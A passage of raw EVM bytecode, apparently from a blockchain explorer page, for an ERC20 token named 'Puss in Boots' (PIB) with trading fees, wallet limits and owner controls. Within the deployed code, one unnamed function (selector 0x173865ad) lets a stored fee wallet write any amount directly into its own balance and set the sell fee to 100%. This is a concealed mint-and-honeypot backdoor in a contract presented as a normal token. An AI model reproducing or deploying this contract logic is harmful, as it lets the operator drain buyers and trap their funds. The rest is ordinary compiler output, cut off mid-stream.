0000000000000000000000000000000000000000000000000000000008152600401620008c59062000fff565b60405180910390fd5b620008ea8160055462000bc960201b62000f491790919060201c565b6005819055506200094981600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205462000bc960201b62000f491790919060201c565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620009ec919062001021565b60405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160362000a6a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000a6190620010b4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000adc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000ad3906200114c565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405162000bbc919062001021565b60405180910390a3505050565b6000818362000bd991906200116e565b905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000c6f5780860481111562000c475762000c4662000be1565b5b600185161562000c575780820291505b808102905062000c678562000c10565b945062000c27565b94509492505050565b60008262000c8a576001905062000d5d565b8162000c9a576000905062000d5d565b816001811462000cb3576002811462000cbe5762000cf4565b600191505062000d5d565b60ff84111562000cd35762000cd262000be1565b5b8360020a91508482111562000ced5762000cec62000be1565b5b5062000d5d565b5060208310610133831016604e8410600b841016171562000d2e5782820a90508381111562000d285762000d2762000be1565b5b62000d5d565b62000d3d848484600162000c1d565b9250905081840481111562000d575762000d5662000be1565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b600062000d888262000d64565b915062000d958362000d6e565b925062000dc47fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000c78565b905092915050565b600062000dd98262000d64565b915062000de68362000d64565b925082820262000df68162000d64565b9150828204841483151762000e105762000e0f62000be1565b5b5092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000e498262000e1c565b9050919050565b62000e5b8162000e3c565b811462000e6757600080fd5b50565b60008151905062000e7b8162000e50565b92915050565b60006020828403121562000e9a5762000e9962000e17565b5b600062000eaa8482850162000e6a565b91505092915050565b62000ebe8162000e3c565b82525050565b600060408201905062000edb600083018562000eb3565b62000eea602083018462000eb3565b9392505050565b62000efc8162000d64565b82525050565b600060408201905062000f19600083018562000eb3565b62000f28602083018462000ef1565b9392505050565b60008115159050919050565b62000f468162000f2f565b811462000f5257600080fd5b50565b60008151905062000f668162000f3b565b92915050565b60006020828403121562000f855762000f8462000e17565b5b600062000f958482850162000f55565b91505092915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000fe7601f8362000f9e565b915062000ff48262000faf565b602082019050919050565b600060208201905081810360008301526200101a8162000fd8565b9050919050565b600060208201905062001038600083018462000ef1565b92915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006200109c60248362000f9e565b9150620010a9826200103e565b604082019050919050565b60006020820190508181036000830152620010cf816200108d565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006200113460228362000f9e565b91506200114182620010d6565b604082019050919050565b60006020820190508181036000830152620011678162001125565b9050919050565b60006200117b8262000d64565b9150620011888362000d64565b9250828201905080821115620011a357620011a262000be1565b5b92915050565b612d8880620011b96000396000f3fe6080604052600436106101855760003560e01c806371b9189c116100d1578063a9059cbb1161008a578063d54f7d5e11610064578063d54f7d5e1461059a578063dd62ed3e146105c5578063f2fde38b14610602578063f5f55f9f1461062b576101b8565b8063a9059cbb14610507578063cdf4bab914610544578063d0ec1b2b1461056f576101b8565b806371b9189c14610409578063751039fc146104325780638d5f81e2146104495780638da5cb5b1461047457806395d89b411461049f578063a457c2d7146104ca576101b8565b8063395093511161013e57806351c6590a1161011857806351c6590a1461037057806363d600a41461038c57806370a08231146103b5578063715018a6146103f2576101b8565b806339509351146102e157806342966c681461031e578063437823ec14610347576101b8565b806306fdde03146101bd578063095ea7b3146101e8578063173865ad1461022557806318160ddd1461024e57806323b872dd14610279578063313ce567146102b6576101b8565b366101b8577f544c765b33ca411cce832250371569244f765a17fcd217832be093f0fd5fa45b60405160405180910390a1005b600080fd5b3480156101c957600080fd5b506101d2610654565b6040516101df91906120a5565b60405180910390f35b3480156101f457600080fd5b5061020f600480360381019061020a9190612165565b610691565b60405161021c91906121c0565b60405180910390f35b34801561023157600080fd5b5061024c600480360381019061024791906121db565b6106af565b005b34801561025a57600080fd5b506102636106dc565b6040516102709190612217565b60405180910390f35b34801561028557600080fd5b506102a0600480360381019061029b9190612232565b6106e6565b6040516102ad91906121c0565b60405180910390f35b3480156102c257600080fd5b506102cb6107bf565b6040516102d891906122a1565b60405180910390f35b3480156102ed57600080fd5b5061030860048036038101906103039190612165565b6107c8565b60405161031591906121c0565b60405180910390f35b34801561032a57600080fd5b50610345600480360381019061034091906121db565b61087b565b005b34801561035357600080fd5b5061036e600480360381019061036991906122bc565b61088f565b005b61038a600480360381019061038591906121db565b6108f2565b005b34801561039857600080fd5b506103b360048036038101906103ae91906122bc565b61094f565b005b3480156103c157600080fd5b506103dc60048036038101906103d791906122bc565b610b1c565b6040516103e99190612217565b60405180910390f35b3480156103fe57600080fd5b50610407610b65565b005b34801561041557600080fd5b50610430600480360381019061042b919061234e565b610b79565b005b34801561043e57600080fd5b50610447610bd7565b005b34801561045557600080fd5b5061045e610bf3565b60405161046b91906123aa565b60405180910390f35b34801561048057600080fd5b50610489610c1d565b60405161049691906123aa565b60405180910390f35b3480156104ab57600080fd5b506104b4610c46565b6040516104c191906120a5565b60405180910390f35b3480156104d657600080fd5b506104f160048036038101906104ec9190612165565b610c83565b6040516104fe91906121c0565b60405180910390f35b34801561051357600080fd5b5061052e60048036038101906105299190612165565b610d50565b60405161053b91906121c0565b60405180910390f35b34801561055057600080fd5b50610559610d6e565b60405161056691906121c0565b60405180910390f35b34801561057b57600080fd5b50610584610d85565b6040516105919190612217565b60405180910390f35b3480156105a657600080fd5b506105af610db7565b6040516105bc91906123aa565b60405180910390f35b3480156105d157600080fd5b506105ec60048036038101906105e791906123c5565b610de1565b6040516105f99190612217565b60405180910390f35b34801561060e57600080fd5b50610629600480360381019061062491906122bc565b610e68565b005b34801561063757600080fd5b50610652600480360381019061064d919061234e565b610eeb565b005b60606040518060400160405280600d81526020017f5075737320696e20426f6f747300000000000000000000000000000000000000815250905090565b60006106a561069e610f5f565b8484610f67565b6001905092915050565b600e5433146106bd57600080fd5b6040513381526003602082015260408120828155612710600b55505050565b6000600554905090565b60006106f3848484611130565b6107b4846106ff610f5f565b6107af85604051806060016040528060288152602001612d0660289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610765610f5f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8e9092919063ffffffff16565b610f67565b600190509392505050565b60006012905090565b60006108716107d5610f5f565b8461086c85600460006107e6610f5f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f4990919063ffffffff16565b610f67565b6001905092915050565b61088c610886610f5f565b82611ae3565b50565b610897611c86565b6001600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6108fa611c86565b6001600760146101000a81548160ff021916908315150217905550610927610920610c1d565b3083611130565b6109318134611d04565b6000600760146101000a81548160ff02191690831515021790555050565b610957611c86565b3073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036109c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109bc90612451565b60405180910390fd5b6109cd610c1d565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610a3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3190612451565b60405180910390fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610aca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac190612451565b60405180910390fd5b600d60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81549060ff021916905550565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610b6d611c86565b610b776000611de9565b565b610b81611c86565b60005b82829050811015610bd257610bbf838383818110610ba557610ba4612471565b5b9050602002016020810190610bba91906122bc565b61088f565b8080610bca906124cf565b915050610b84565b505050565b610bdf611c86565b612710600181905550612710600281905550565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f5049420000000000000000000000000000000000000000000000000000000000815250905090565b6000610d46610c90610f5f565b84610d4185604051806060016040528060258152602001612d2e6025913960046000610cba610f5f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8e9092919063ffffffff16565b610f67565b6001905092915050565b6000610d64610d5d610f5f565b8484611130565b6001905092915050565b6000600760149054906101000a900460ff16905090565b6000610db2612710610da4600154600554611ead90919063ffffffff16565b611ec390919063ffffffff16565b905090565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e70611c86565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610edf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed690612589565b60405180910390fd5b610ee881611de9565b50565b610ef3611c86565b60005b82829050811015610f4457610f31838383818110610f1757610f16612471565b5b9050602002016020810190610f2c91906122bc565b61094f565b8080610f3c906124cf565b915050610ef6565b505050565b60008183610f5791906125a9565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610fd6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fcd9061264f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611045576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103c906126e1565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111239190612217565b60405180910390a3505050565b61113b838383611ed9565b600080611146610c1d565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141580156111b45750611184610c1d565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561172957600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561125d5750600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561172857600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614801561130d5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156113635750600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156113b95750600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156114b3576113e96127106113db600154600554611ead90919063ffffffff16565b611ec390919063ffffffff16565b83111561142b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142290612773565b60405180910390fd5b611456612710611448600254600554611ead90919063ffffffff16565b611ec390919063ffffffff16565b6114718461146387610b1c565b610f4990919063ffffffff16565b11156114b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a990612805565b60405180910390fd5b5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614801561155e5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156115fe5761158c61271061157e600a5486611ead90919063ffffffff16565b611ec390919063ffffffff16565b91506115b76127106115a9600c5486611ead90919063ffffffff16565b611ec390919063ffffffff16565b905043600860003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561168757503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15611727576116b56127106116a7600a5486611ead90919063ffffffff16565b611ec390919063ffffffff16565b91506116e06127106116d2600b5486611ead90919063ffffffff16565b611ec390919063ffffffff16565b905043600860003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b5b600061173e8284610f4990919063ffffffff16565b905060008111156118dd57600083111561175d5761175c8684611ae3565b5b60008211156118c7576117da8260036000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f4990919063ffffffff16565b60036000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516118be9190612217565b60405180910390a35b6118da8185611fff90919063ffffffff16565b93505b61194984604051806060016040528060268152602001612ce060269139600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8e9092919063ffffffff16565b600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119de84600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f4990919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86604051611a7e9190612217565b60405180910390a3505050505050565b6000838311158290611ad6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611acd91906120a5565b60405180910390fd5b5082840390509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611b52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b4990612897565b60405180910390fd5b611bbe81604051806060016040528060228152602001612cbe60229139600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8e9092919063ffffffff16565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c1681600554611fff90919063ffffffff16565b600581905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611c7a9190612217565b60405180910390a35050565b611c8e610f5f565b73ffffffffffffffffffffffffffffffffffffffff16611cac610c1d565b73ffffffffffffffffffffffffffffffffffffffff1614611d02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cf990612903565b60405180910390fd5b565b611d3130600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f67565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080611d7d610c1d565b426040518863ffffffff1660e01b8152600401611d9f96959493929190612968565b60606040518083038185885af1158015611dbd573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611de291906129de565b5050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008183611ebb9190612a31565b905092915050565b60008183611ed19190612aa2565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611f48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f3f90612b45565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611fb7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fae90612bd7565b60405180910390fd5b60008111611ffa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ff190612c69565b60405180910390fd5b505050565b6000818361200d9190612c89565b905092915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561204f578082015181840152602081019050612034565b60008484015250505050565b6000601f19601f8301169050919050565b600061207782612015565b6120818185612020565b9350612091818560208601612031565b61209a8161205b565b840191505092915050565b600060208201905081810360008301526120bf818461206c565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006120fc826120d1565b9050919050565b61210c816120f1565b811461211757600080fd5b50565b60008135905061212981612103565b92915050565b6000819050919050565b6121428161212f565b811461214d57600080fd5b50565b60008135905061215f81612139565b92915050565b6000806040838503121561217c5761217b6120c7565b5b600061218a8582860161211a565b925050602061219b85828601612150565b9150509250929050565b60008115159050919050565b6121ba816121a5565b82525050565b60006020820190506121d560008301846121b1565b92915050565b6000602082840312156121f1576121f06120c7565b5b60006121ff84828501612150565b91505092915050565b6122118161212f565b82525050565b600060208201905061222c6000830184612208565b92915050565b60008060006060848603121561224b5761224a6120c7565b5b60006122598682870161211a565b935050602061226a8682870161211a565b925050604061227b86828701612150565b9150509250925092565b600060ff82169050919050565b61229b81612285565b82525050565b60006020820190506122b66000830184612292565b92915050565b6000602082840312156122d2576122d16120c7565b5b60006122e08482850161211a565b91505092915050565b600080fd5b600080fd5b600080fd5b60008083601f84011261230e5761230d6122e9565b5b8235905067ffffffffffffffff81111561232b5761232a6122ee565b5b602083019150836020820283011115612347576123466122f3565b5b9250929050565b60008060208385031215612365576123646120c7565b5b600083013567ffffffffffffffff811115612383576123826120cc565b5b61238f858286016122f8565b92509250509250929050565b6123a4816120f1565b82525050565b60006020820190506123bf600083018461239b565b92915050565b600080604083850312156123dc576123db6120c7565b5b60006123ea8582860161211a565b92505060206123fb8582860161211a565b9150509250929050565b7f496e76616c696420616464726573730000000000000000000000000000000000600082015250565b600061243b600f83612020565b915061244682612405565b602082019050919050565b6000602082019050818103600083015261246a8161242e565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006124da8261212f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361250c5761250b6124a0565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612573602683612020565b915061257e82612517565b604082019050919050565b600060208201905081810360008301526125a281612566565b9050919050565b60006125b48261212f565b91506125bf8361212f565b92508282019050808211156125d7576125d66124a0565b5b92915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612639602483612020565b9150612644826125dd565b604082019050919050565b600060208201905081810360008301526126688161262c565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006126cb602283612020565b91506126d68261266f565b604082019050919050565b600060208201905081810360008301526126fa816126be565b9050919050565b7f5472616e7366657220616d6f756e74206578636565647320746865206d61785460008201527f78416d6e742e0000000000000000000000000000000000000000000000000000602082015250565b600061275d602683612020565b915061276882612701565b604082019050919050565b6000602082019050818103600083015261278c81612750565b9050919050565b7f45786365656473206d6178696d756d2077616c6c657420746f6b656e20616d6f60008201527f756e740000000000000000000000000000000000000000000000000000000000602082015250565b60006127ef602383612020565b91506127fa82612793565b604082019050919050565b6000602082019050818103600083015261281e816127e2565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b6000612881602183612020565b915061288c82612825565b604082019050919050565b600060208201905081810360008301526128b081612874565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006128ed602083612020565b91506128f8826128b7565b602082019050919050565b6000602082019050818103600083015261291c816128e0565b9050919050565b6000819050919050565b6000819050919050565b600061295261294d61294884612923565b61292d565b61212f565b9050919050565b61296281612937565b82525050565b600060c08201905061297d600083018961239b565b61298a6020830188612208565b6129976040830187612959565b6129a46060830186612959565b6129b1608083018561239b565b6129be60a0830184612208565b979650505050505050565b6000815190506129d881612139565b92915050565b6000806000606084860312156129f7576129f66120c7565b5b6000612a05868287016129c9565b9350506020612a16868287016129c9565b9250506040612a27868287016129c9565b9150509250925092565b6000612a3c8261212f565b9150612a478361212f565b9250828202612a558161212f565b91508282048414831517612a6c57612a6b6124a0565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612aad8261212f565b9150612ab88361212f565b925082612ac857612ac7612a73565b5b828204905092915050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612b2f602583612020565b9150612b3a82612ad3565b604082019050919050565b60006020820190508181036000830152612b5e81612b22565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612bc1602383612020565b9150612bcc82612b65565b604082019050919050565b60006020820190508181036000830152612bf081612bb4565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000612c53602983612020565b9150612c5e82612bf7565b604082019050919050565b60006020820190508181036000830152612c8281612c46565b9050919050565b6000612c948261212f565b9150612c9f8361212f565b9250828203905081811115612cb757612cb66124a0565b5b9291505056fe45524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220eb388ed0b4e586d9283a5f4d8a595e850335315f9987e174b70178d0f02e686f64736f6c63430008120033

Deployed Bytecode

0x6080604052600436106101855760003560e01c806371b9189c116100d1578063a9059cbb1161008a578063d54f7d5e11610064578063d54f7d5e1461059a578063dd62ed3e146105c5578063f2fde38b14610602578063f5f55f9f1461062b576101b8565b8063a9059cbb14610507578063cdf4bab914610544578063d0ec1b2b1461056f576101b8565b806371b9189c14610409578063751039fc146104325780638d5f81e2146104495780638da5cb5b1461047457806395d89b411461049f578063a457c2d7146104ca576101b8565b8063395093511161013e57806351c6590a1161011857806351c6590a1461037057806363d600a41461038c57806370a08231146103b5578063715018a6146103f2576101b8565b806339509351146102e157806342966c681461031e578063437823ec14610347576101b8565b806306fdde03146101bd578063095ea7b3146101e8578063173865ad1461022557806318160ddd1461024e57806323b872dd14610279578063313ce567146102b6576101b8565b366101b8577f544c765b33ca411cce832250371569244f765a17fcd217832be093f0fd5fa45b60405160405180910390a1005b600080fd5b3480156101c957600080fd5b506101d2610654565b6040516101df91906120a5565b60405180910390f35b3480156101f457600080fd5b5061020f600480360381019061020a9190612165565b610691565b60405161021c91906121c0565b60405180910390f35b34801561023157600080fd5b5061024c600480360381019061024791906121db565b6106af565b005b34801561025a57600080fd5b506102636106dc565b6040516102709190612217565b60405180910390f35b34801561028557600080fd5b506102a0600480360381019061029b9190612232565b6106e6565b6040516102ad91906121c0565b60405180910390f35b3480156102c257600080fd5b506102cb6107bf565b6040516102d891906122a1565b60405180910390f35b3480156102ed57600080fd5b5061030860048036038101906103039190612165565b6107c8565b60405161031591906121c0565b60405180910390f35b34801561032a57600080fd5b50610345600480360381019061034091906121db565b61087b565b005b34801561035357600080fd5b5061036e600480360381019061036991906122bc565b61088f565b005b61038a600480360381019061038591906121db565b6108f2565b005b34801561039857600080fd5b506103b360048036038101906103ae91906122bc565b61094f565b005b3480156103c157600080fd5b506103dc60048036038101906103d791906122bc565b610b1c565b6040516103e99190612217565b60405180910390f35b3480156103fe57600080fd5b50610407610b65565b005b34801561041557600080fd5b50610430600480360381019061042b919061234e565b610b79565b005b34801561043e57600080fd5b50610447610bd7565b005b34801561045557600080fd5b5061045e610bf3565b60405161046b91906123aa565b60405180910390f35b34801561048057600080fd5b50610489610c1d565b60405161049691906123aa565b60405180910390f35b3480156104ab57600080fd5b506104b4610c46565b6040516104c191906120a5565b60405180910390f35b3480156104d657600080fd5b506104f160048036038101906104ec9190612165565b610c83565b6040516104fe91906121c0565b60405180910390f35b34801561051357600080fd5b5061052e60048036038101906105299190612165565b610d50565b60405161053b91906121c0565b60405180910390f35b34801561055057600080fd5b50610559610d6e565b60405161056691906121c0565b60405180910390f35b34801561057b57600080fd5b50610584610d85565b6040516105919190612217565b60405180910390f35b3480156105a657600080fd5b506105af610db7565b6040516105bc91906123aa565b60405180910390f35b3480156105d157600080fd5b506105ec60048036038101906105e791906123c5565b610de1565b6040516105f99190612217565b60405180910390f35b34801561060e57600080fd5b50610629600480360381019061062491906122bc565b610e68565b005b34801561063757600080fd5b50610652600480360381019061064d919061234e565b610eeb565b005b60606040518060400160405280600d81526020017f5075737320696e20426f6f747300000000000000000000000000000000000000815250905090565b60006106a561069e610f5f565b8484610f67565b6001905092915050565b600e5433146106bd57600080fd5b6040513381526003602082015260408120828155612710600b55505050565b6000600554905090565b60006106f3848484611130565b6107b4846106ff610f5f565b6107af85604051806060016040528060288152602001612d0660289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610765610f5f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8e9092919063ffffffff16565b610f67565b600190509392505050565b60006012905090565b60006108716107d5610f5f565b8461086c85600460006107e6610f5f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f4990919063ffffffff16565b610f67565b6001905092915050565b61088c610886610f5f565b82611ae3565b50565b610897611c86565b6001600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6108fa611c86565b6001600760146101000a81548160ff021916908315150217905550610927610920610c1d565b3083611130565b6109318134611d04565b6000600760146101000a81548160ff02191690831515021790555050565b610957611c86565b3073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036109c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109bc90612451565b60405180910390fd5b6109cd610c1d565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361